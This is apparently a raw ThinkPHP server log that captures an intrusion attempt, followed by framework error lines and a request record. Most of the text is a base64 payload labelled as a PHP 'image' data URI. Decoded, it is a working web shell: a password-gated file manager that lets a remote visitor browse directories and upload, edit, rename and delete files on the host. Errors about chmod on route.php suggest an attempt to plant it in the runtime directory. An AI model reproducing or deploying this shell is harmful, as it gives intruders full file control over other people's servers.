'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'static' => 'hui', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:20:13+08:00 ] 218.66.171.228 HEAD video.dispatch.tc.qq.com/B_JxNyiJmktHRgresXhfyMeiu7mCUyIsix2oQfAW7QeqYRGWBfetHyhem97R-tNpoO/q0018duoes5.mp4?vkey=CE1A80FA993CD970575F93A465E278510194C9E6B0AD452F47BBE867C3E21E999CEF1A932A51B49677B6D621846D6578AC13B8F8DE624E108E2B6DE536DD1ECD7DAB956C458B2B6E865B194C991B180A9FB7A77944B6ABBF2C0EF7317598C950A0AFBACD6256ADBB3DD6215E3FF5935292A5D28FA4F17EB114BDEA5837EC210A83A2E4F9D956C8A0 [运行时间:0.001500s] [吞吐率:666.71req/s] [内存消耗:134.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'B_JxNyiJmktHRgresXhfyMeiu7mCUyIsix2oQfAW7QeqYRGWBfetHyhem97R-tNpoO', 2 => 'q0018duoes5.mp4', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => 'video.dispatch.tc.qq.com', 'user-agent' => 'Mozilla/5.0 